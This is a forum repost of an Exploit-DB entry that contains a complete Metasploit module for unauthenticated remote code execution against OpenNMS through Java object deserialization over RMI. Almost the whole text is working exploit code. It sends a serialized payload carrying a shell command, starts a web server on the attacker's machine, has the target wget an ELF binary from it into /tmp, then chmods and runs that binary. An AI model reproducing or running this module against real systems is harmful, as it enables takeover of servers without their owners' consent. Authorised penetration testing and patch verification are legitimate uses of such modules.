Exploit OpenNMS - Java Object Unserialization Remote Code Execution (Metasploit)

Exploiter

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
40610
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
REMOTE
Платформа
LINUX
CVE
N/A
Дата публикации
2016-10-20
OpenNMS - Java Object Unserialization Remote Code Execution (Metasploit)
Код: 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Java::Rmi::Client
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'OpenNMS Java Object Unserialization Remote Code Execution',
        'Description'    => %q(
          This module exploits a vulnerability in the OpenNMS Java object which allows
          an unauthenticated attacker to run arbitary code against the system.
        ),
        'Author'         =>
          [
            'Ben Turner <benpturner[at]yahoo.com>', # @benpturner
          ],
        'License'        => MSF_LICENSE,
        'References'     =>
          [
            [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ]
          ],
        'Targets'        =>
          [
            [ 'OpenNMS / Linux x86',    { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
            [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Nov 19 2014'
      )
    )

    register_options(
      [
        Opt::RPORT(1099),
        OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/'])
      ], self.class)
  end

  # This is the execute function that is re-used throughout
  def exec_command(cmd)
    vprint_status("#{peer} - Downloading the file #{cmd}")

    # Do the exploit command bit
    data1 = "\x4a\x52\x4d\x49\x00\x02\x4b"
    data2 = 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    data2 += cmd.length.chr
    data2 += cmd
    data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F"

    begin
      connect
      sock.put(data1)

      # Wait for a successful response
      data = recv_protocol_ack # rescue nil
      unless data
        fail_with(Failure::Unknown, "This system has not responded with the correct RMI header")
      end

      # Send the RMI payload
      sock.put(data2)

      # Disconnect
      disconnect

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host")
    end
  end

  # Wget the file onto the host in the temp directory
  def wget_payload
    resource_uri = '/' + @dropped_elf

    if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

    vprint_status("#{peer} - Starting up our web service on #{service_url} ...")
    start_service(
      'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }
    )

    exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}")

    Rex.sleep(15)
  end

  # Change permissions to permit binary execution
  def chmod_payload
    cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

    vprint_status("#{peer} - Chmod the payload...")
    res = exec_command(cmd)

    fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res

    Rex.sleep(1)
  end

  # Execute payload on host
  def exec_payload
    cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    vprint_status("#{peer} - Executing the payload...")
    res = exec_command(cmd)

    fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res

    Rex.sleep(1)
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    vprint_status("#{peer} - Sending the payload to the server...")
    send_response(cli, generate_payload_exe)
  end

  # Create the payload and run the commands in succcession
  def exploit
    print_status("#{peer} - Exploting the vulnerable service...")

    @payload_url = ''
    @dropped_elf = rand_text_alpha(rand(5) + 3)

    wget_payload
    chmod_payload
    exec_payload
  end
end
 
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